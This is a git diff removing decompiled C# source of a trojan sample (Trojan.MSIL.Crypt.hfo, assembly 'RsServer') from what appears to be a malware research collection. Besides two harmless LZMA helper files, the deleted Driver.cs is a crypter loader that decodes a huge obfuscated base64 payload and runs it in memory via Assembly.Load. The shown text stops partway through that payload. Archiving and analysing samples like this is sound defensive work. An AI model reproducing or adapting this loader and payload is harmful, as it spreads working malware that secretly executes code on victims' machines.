a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/IWriteCoderProperties.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.IWriteCoderProperties -// Assembly: RsServer, Version=4.7.6.1, Culture=neutral, PublicKeyToken=null -// MVID: D1E430D8-AC42-4024-9AF7-4EC140A70FAE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe.exe - -using System.IO; - -namespace SevenZip -{ - public interface IWriteCoderProperties - { - void WriteCoderProperties(Stream outStream); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/InvalidParamException.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/InvalidParamException.cs deleted file mode 100644 index 0da8081b..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/InvalidParamException.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.InvalidParamException -// Assembly: RsServer, Version=4.7.6.1, Culture=neutral, PublicKeyToken=null -// MVID: D1E430D8-AC42-4024-9AF7-4EC140A70FAE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe.exe - -using System; - -namespace SevenZip -{ - internal class InvalidParamException : ApplicationException - { - public InvalidParamException() - : base("Invalid Parameter") - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/SysDriver/Driver.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/SysDriver/Driver.cs deleted file mode 100644 index 44e2c178..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/SysDriver/Driver.cs +++ /dev/null @@ -1,97 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SysDriver.Driver -// Assembly: RsServer, Version=4.7.6.1, Culture=neutral, PublicKeyToken=null -// MVID: D1E430D8-AC42-4024-9AF7-4EC140A70FAE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe.exe - -using SevenZip.Compression.LZMA; -using System; -using System.IO; -using System.Reflection; -using System.Security.Cryptography; -using System.Text; - -namespace SysDriver -{ - internal class Driver - { - private static void Main(string[] args) - { - Assembly a6QSn2q4CLt3p8GKy7s9R = Assembly.Load(Driver.Dd2q9SCt46WnM("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